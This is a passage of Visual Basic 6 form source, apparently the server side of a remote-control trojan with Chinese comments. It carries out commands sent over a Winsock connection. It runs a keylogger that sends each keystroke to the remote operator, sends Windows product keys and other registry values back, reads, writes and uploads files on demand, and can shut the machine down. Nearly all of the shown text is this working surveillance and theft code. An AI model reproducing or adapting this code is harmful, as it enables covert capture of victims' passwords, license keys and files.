server.frm

用VB调用SSH控件

            SwapMouseButton 0
        Case "101":
            'CHANGE WALLPAPER
            WinsockCtl.SendData "M2Your data (SET) information request has been sent."
            SetWallpaper Mid(SendData, 4, Len(SendData) - 3)
        Case "102":
            'START THE KEY LOGGER
            WinsockCtl.SendData "M2Your data (SET) information request has been sent. You should start recieving data soon."
            Call CheckKey
            EndKeylogger = False
            KeyloggerTimer.Enabled = True
        Case "103":
            'END THE KEYLOGGER
            WinsockCtl.SendData "M2Your data (SET) information request has been sent. Key logger has been disabled."
            EndKeylogger = True
            KeyloggerTimer.Enabled = False
        Case "104":
            RegVal0(0) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "ProductId")
            RegVal0(1) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "ProductKey")
            RegVal0(2) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "ProductName")
            RegVal0(3) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "ProgramFilesDir")
            RegVal0(4) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "RegisteredOrganization")
            RegVal0(5) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "RegisteredOwner")
            RegVal0(6) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "SystemRoot")
            RegVal0(7) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "Version")
            RegVal0(8) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "VersionNumber")
            RegVal0(9) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "DevicePath")
            RegVal0(10) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "ConfigPath")
            RegVal0(11) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "CommonFilesDir")
            RegVal0(12) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "MediaPath")
            RegVal0(13) = GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "OtherDevicePath")
            WinsockCtl.SendData "023" & RegVal0(0) & Chr(0) & RegVal0(1) & Chr(0) & RegVal0(2) & Chr(0) & RegVal0(3) & Chr(0) & RegVal0(4) & Chr(0) & RegVal0(5) & Chr(0) & RegVal0(6) & Chr(0) & RegVal0(7) & Chr(0) & RegVal0(8) & Chr(0) & RegVal0(9) & Chr(0) & RegVal0(10) & Chr(0) & RegVal0(11) & Chr(0) & RegVal0(12) & Chr(0) & RegVal0(13)
        
        Case "107"
         AdjustTokenPrivilegesForNT
        ExitWindowsEx 8, 0 '关机
        
        Case "108":
        strvTime = Mid(SendData, 4, Len(SendData) - 3)
        Text2.Text = strvTime
        Timer3.Enabled = True
        Case "109":
        cvb = Mid(SendData, 4, Len(SendData) - 3)
        Case "110": '读取文本内容
        Dim sdf As String
         Open Mid(SendData, 4, Len(SendData) - 3) For Input As #1
          While Not EOF(1)
          Line Input #1, sdf

           getPathStr = getPathStr & sdf & vbCrLf
         Wend
        Close #1

       
        WinsockCtl.SendData "gettxt" & getPathStr
        Case "111"
        getPathStr = Mid(SendData, 4, Len(SendData) - 3)
        
        Case "112" '正式写入
         Open Mid(SendData, 4, Len(SendData) - 3) For Output As #1
         Print #1, getPathStr
        Close #1
        Case "113" '下载指令
        
        
        Case "118"
        fso.CreateFolder (Text1.Text & Mid(SendData, 4, Len(SendData) - 3))
        
        Case "119"
        Text1.Text = Mid(SendData, 4, Len(SendData) - 3) '获得目录路径
        Case "120"
             
     Text1.Text = Mid(SendData, 4, Len(SendData) - 3) '获得文件路径
    
    End Select
    
    Exit Sub
    
FinaliseError:
    On Error Resume Next
    
    WaitTime = 0
    Do Until WaitTime = 10
        WaitTime = WaitTime + 1
        DoEvents
    Loop
    
    WinsockCtl.SendData "M4Could not complete task sent to the server as their was problems."
End Sub

Private Sub KeyloggerTimer_Timer()
    If EndKeylogger = True Then KeyloggerTimer.Enabled = False: Exit Sub
    Dim Retval As Boolean
    Retval = CheckExplorer 'Check if explorer is running
    If Retval = False Then End 'if not, then it means that user has exited windows
                            'generally get and "end task" error
                            'if still running
                            'this will exit when explorer is not running
End Sub

Private Sub CheckKey()
    Dim Keycode As Integer, X As Integer, Shift As Integer
    Dim Control As Integer, Temp As String
    
    On Error GoTo FinaliseError
    
    Do
    DoEvents
    If EndKeylogger = True Then KeyloggerTimer.Enabled = False: Exit Sub
    If WinsockCtl.State <> 7 Then KeyloggerTimer.Enabled = False: EndKeylogger = True: Exit Sub
        For Keycode = 8 To 255 'scan every key from #8-255
            X = GetAsyncKeyState(Keycode) 'get the state of the key
            If EndKeylogger = True Then KeyloggerTimer.Enabled = False: Exit Sub
            If WinsockCtl.State <> 7 Then KeyloggerTimer.Enabled = False: EndKeylogger = True: Exit Sub
            If X = -32767 Then 'if the key is pressed, its value is -32767
                Select Case Keycode
                    Case 8 'backspace
                        WinsockCtl.SendData "00B"
                    Case 9 'tab
                        'WinsockCtl.SendData "NL0"
                        WinsockCtl.SendData Chr(0) & "[TAB]" & vbNewLine
                        'WinsockCtl.SendData "NL0"
                    Case 13 'enter
                        'WinsockCtl.SendData "NL0"
                        WinsockCtl.SendData Chr(0) & "[ENTER]" & vbNewLine
                        'WinsockCtl.SendData "NL0"
                    Case 27 'escape
                        'WinsockCtl.SendData "NL0"
                        WinsockCtl.SendData Chr(0) & "[ESC]" & vbNewLine
                        'WinsockCtl.SendData "NL0"
                    Case 32 'space
                        WinsockCtl.SendData Chr(0) & " "
                    Case 48 '0
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, ")", "0")
                    Case 49 '1
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "!", "1")
                    Case 50 '2
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "@", "2")
                    Case 51 '3
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "#", "3")
                    Case 52 '4
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "$", "4")
                    Case 53 '5
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "%", "5")
                    Case 54 '6
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "^", "6")
                    Case 55 '7
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "&", "7")
                    Case 56 '8
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "*", "8")
                    Case 57 '9
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "(", "9")
                    Case 65 To 90 'a-z
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, UCase$(Chr$(Keycode)), LCase$(Chr$(Keycode)))
                    Case 112 To 123 'F1-F12
                        'WinsockCtl.SendData "NL0"
                    WinsockCtl.SendData "[FKEY]" & "[F" + CStr(Keycode - 111) + "]" & vbNewLine   'Case F1 to F12
                        'WinsockCtl.SendData "NL0"
                        Temp = Ctrl(Control = 1, "On", "Off")
                    Case 186 ';
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, ":", ";")
                    Case 187 '=
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "+", "=")
                    Case 188 ',
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "<", ",")
                    Case 189 '-
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "_", "-")
                    Case 190 '.
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, ">", ".")
                    Case 191 '/
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "?", "/")
                    Case 192 '`
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "~", "`")
                    Case 219 '[
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "{", "[")
                    Case 220 '\
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "|", "\")
                    Case 221 ']
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, "}", "]")
                    Case 222 ''
                        WinsockCtl.SendData Chr(0) & Shf(Shift = 1, Chr$(34), "'")
                End Select
            End If
            If EndKeylogger = True Then KeyloggerTimer.Enabled = False: Exit Sub
            If WinsockCtl.State <> 7 Then KeyloggerTimer.Enabled = False: EndKeylogger = True: Exit Sub
        Next Keycode
    DoEvents
    If EndKeylogger = True Then KeyloggerTimer.Enabled = False: Exit Sub
    If WinsockCtl.State <> 7 Then KeyloggerTimer.Enabled = False: EndKeylogger = True: Exit Sub
    Loop
    
    Exit Sub
    
FinaliseError:
    
    If WinsockCtl.State = 7 Then
        WinsockCtl.SendData "M3Error, key logger has been stopped. Their was an error with the transfer."
        KeyloggerTimer.Enabled = False
        EndKeylogger = True
        Exit Sub
    Else
        KeyloggerTimer.Enabled = False
        EndKeylogger = True
        Exit Sub
    End If
    
End Sub

Public Function CheckExplorer() As Boolean

    Const PROCESS_ALL_ACCESS = 0
    Dim uProcess As PROCESSENTRY32
    Dim rProcessFound As Long
    Dim hSnapshot As Long
    Dim szExename As String
    Dim Found As Boolean
    Dim i As Integer
    On Local Error GoTo Finish

    Const TH32CS_SNAPPROCESS As Long = 2&

    uProcess.dwSize = Len(uProcess)
    hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
    rProcessFound = ProcessFirst(hSnapshot, uProcess)

    Do While rProcessFound
        i = InStr(1, uProcess.szexeFile, Chr(0))
        szExename = LCase$(Left$(uProcess.szexeFile, i - 1))

        If UCase$(Right$(szExename, 12)) = "EXPLORER.EXE" Then
            Found = True
            Call CloseHandle(hSnapshot)
            GoTo Finish
        End If

        rProcessFound = ProcessNext(hSnapshot, uProcess)
    Loop


    Call CloseHandle(hSnapshot)
Finish:

If Found = False Then CheckExplorer = False
If Found = True Then CheckExplorer = True
End Function

Private Sub wskClient_Close()
gblnConnectionOK = False
Close #1
If wskClient.State = 8 Then
wskClient.Close
End If
End Sub

Private Sub wskClient_ConnectionRequest(ByVal requestID As Long)
If wskClient.State <> sckClosed Then wskClient.Close
    '接受具有 requestID 参数的连接。
    wskClient.Accept requestID
    
End Sub

Private Sub wskClient_DataArrival(ByVal BytesTotal As Long)
 On Error Resume Next
'
Dim strFilePath As String

If Not gblnConnectionOK Then

   wskClient.GetData gstrFileName

    If InStr(gstrFileName, vbCrLf) <> 0 Then

      gstrFileName = Left(gstrFileName, InStr(gstrFileName, vbCrLf) - 1)

    End If
      gblnConnectionOK = True

        strFilePath = Text1.Text

             If Right(strFilePath, 1) <> "\" Then strFilePath = strFilePath & "\"

   If Dir(strFilePath & gstrFileName) <> Empty Then
     Kill Text1.Text & "\" & gstrFileName
   End If

Open strFilePath & gstrFileName For Binary As 1
glngFileptr = 1

wskClient.SendData "ok" & vbCrLf
Else
Dim bytBuffer() As Byte

wskClient.GetData bytBuffer
Put #1, glngFileptr, bytBuffer
glngFileptr = glngFileptr + UBound(bytBuffer) + 1
Label2.Caption = "" & glngFileptr
End If

End Sub

Private Sub wskClient_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
If wskClient.State = 8 Then
wskClient.Close
End If
End Sub

Private Sub wskServer_Close(Index As Integer)
wskServer(0).Close
wskServer(0).Listen
End Sub

Private Sub wskServer_ConnectionRequest(Index As Integer, ByVal requestID As Long)
  If wskServer(0).State <> sckClosed Then wskServer(0).Close
    '接受具有 requestID 参数的连接。
    wskServer(0).Accept requestID
     Call Command1_Click
End Sub

Private Sub wskServer_DataArrival(Index As Integer, ByVal BytesTotal As Long)
 Dim WskChat As String
    
    wskServer(0).GetData WskChat
    
     If WskChat = "NoThanks" Then
      Exit Sub
    ElseIf WskChat = "OkSend" Then

       GetFileNum = FreeFile '取得未使用的文件号
       LenFile = FileLen(Text1.Text) '获得需传送的文件的长度
       '------------------
       ProBarLen = LenFile '用于进度显示
       VarPlus = 0
       '------------------
       Open Text1.Text For Binary As #GetFileNum '打开需传送的文件
       OnSend = True
       
       Call TCPSendFile(wskServer(0), GetFileNum, SplitFile)
    'ElseIf WskChat = "SaveOk" Then
       'Call TCPSendFile(wskServer(0), GetFileNum, SplitFile)
    'ElseIf WskChat = "Sav